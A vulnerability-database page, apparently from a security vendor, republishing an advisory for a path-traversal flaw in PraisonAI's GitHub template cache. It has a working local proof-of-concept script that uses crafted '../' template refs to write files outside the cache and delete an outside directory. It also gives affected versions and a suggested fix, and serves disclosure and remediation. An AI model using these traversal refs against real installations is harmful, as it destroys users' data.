How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

375,699

Total vulnerabilities in the database

CVE-2026-57113 — praisonai

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/[email protected]. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root.

A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata.

This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.

Affected versions

Confirmed vulnerable:

v2.6.0
v3.9.24
v3.9.26
v4.5.126
v4.5.128
v4.6.9
v4.6.10
v4.6.56
v4.6.57
current head 2f9677abb2ea68eab864ee8b6a828fd0141612e1

Recommended affected range: >= 2.6.0, <= 4.6.57.

No fixed version is known at the time of this report.

Impact

An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:

create .cache_meta.json outside the template cache directory;
delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
corrupt user configuration, project state, or application data reachable by the process permissions.

Root cause

Current-head code path:

praisonai/templates/resolver.py: GITHUB_PATTERN captures path and ref with broad regex groups and returns them without segment validation.
praisonai/templates/security.py: is_source_allowed() allows GitHub sources by default when allow_any_github is true.
praisonai/templates/registry.py: get_template() resolves a GitHub URI, fetches the template, calculates a checksum, then calls self.cache.put(...).
praisonai/templates/cache.py: _get_cache_path() builds the cache path as self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.
praisonai/templates/cache.py: put() removes an existing cache_path with shutil.rmtree(cache_path), recreates it, copies content, and writes .cache_meta.json.

There is no check equivalent to:

reject absolute path segments;
reject . / .. in owner, repo, template path, or ref;
resolve the candidate path;
require os.path.commonpath([cache_root, candidate]) == cache_root.

Local-only PoV

Run from a PraisonAI source checkout:

from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry

def loader(cache_dir):
    cache = TemplateCache(cache_dir=cache_dir)
    registry = TemplateRegistry(cache=cache, offline=False)
    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
        RuntimeError(&quot;network disabled&quot;)
    )
    return TemplateLoader(cache=cache, registry=registry)

with TemporaryDirectory(prefix=&quot;prai-cache-ref-pov-&quot;) as tmp:
    root = Path(tmp)
    cache_dir = root / &quot;cache&quot; / &quot;templates&quot;

    write_target = root / &quot;outside-write-target&quot;
    loader(cache_dir).load(
        &quot;github:attacker/repo/template@../../../../../../outside-write-target&quot;
    )

    delete_target = root / &quot;outside-delete-target&quot;
    delete_target.mkdir()
    canary = delete_target / &quot;canary.txt&quot;
    canary.write_text(&quot;delete-me&quot;)

    ldr = loader(cache_dir)
    ldr.load(&quot;github:attacker/repo/template@main&quot;)
    ldr.load(
        &quot;github:attacker/repo/template@../../../../../../outside-delete-target&quot;
    )

    safe_target = root / &quot;safe-control&quot;
    safe_target.mkdir()
    safe_canary = safe_target / &quot;canary.txt&quot;
    safe_canary.write_text(&quot;must-remain&quot;)
    loader(root / &quot;safe-cache&quot; / &quot;templates&quot;).load(
        &quot;github:attacker/repo/template@main&quot;
    )

    print(&quot;outside metadata written:&quot;, (write_target / &quot;.cache_meta.json&quot;).exists())
    print(&quot;outside canary exists after malicious ref:&quot;, canary.exists())
    print(&quot;safe canary exists after normal ref:&quot;, safe_canary.exists())

Expected output:

outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True

The PoV uses only temporary directories and disables network fetches.

I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.

Release sweep

The same PoV was run against checked-out tags:

praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True

git log shows the affected template cache/resolver/registry files were added in the v2.6.0 release commit e7a8ce8e.

Suggested fix

Validate every cache path segment before joining:

owner and repo: strict GitHub owner/repo-name regex;
template path: split on / and reject empty, ., .., and absolute forms;
ref: reject /, path separators, empty segments, ., .., and absolute forms, or encode/hash the ref before using it in a filesystem path.

Then enforce a final boundary check:

cache_root = self.cache_dir.resolve()
candidate = (cache_root / &quot;github&quot; / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
    raise ValueError(&quot;template cache path escapes cache root&quot;)

A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.

Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.

Published: Jun 18, 2026
Updated: Jul 21, 2026
CVE: CVE-2026-57113
GHSA: GHSA-f44v-7qgw-9gh9
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.1
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
praisonai	2.6.0	4.6.59

https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.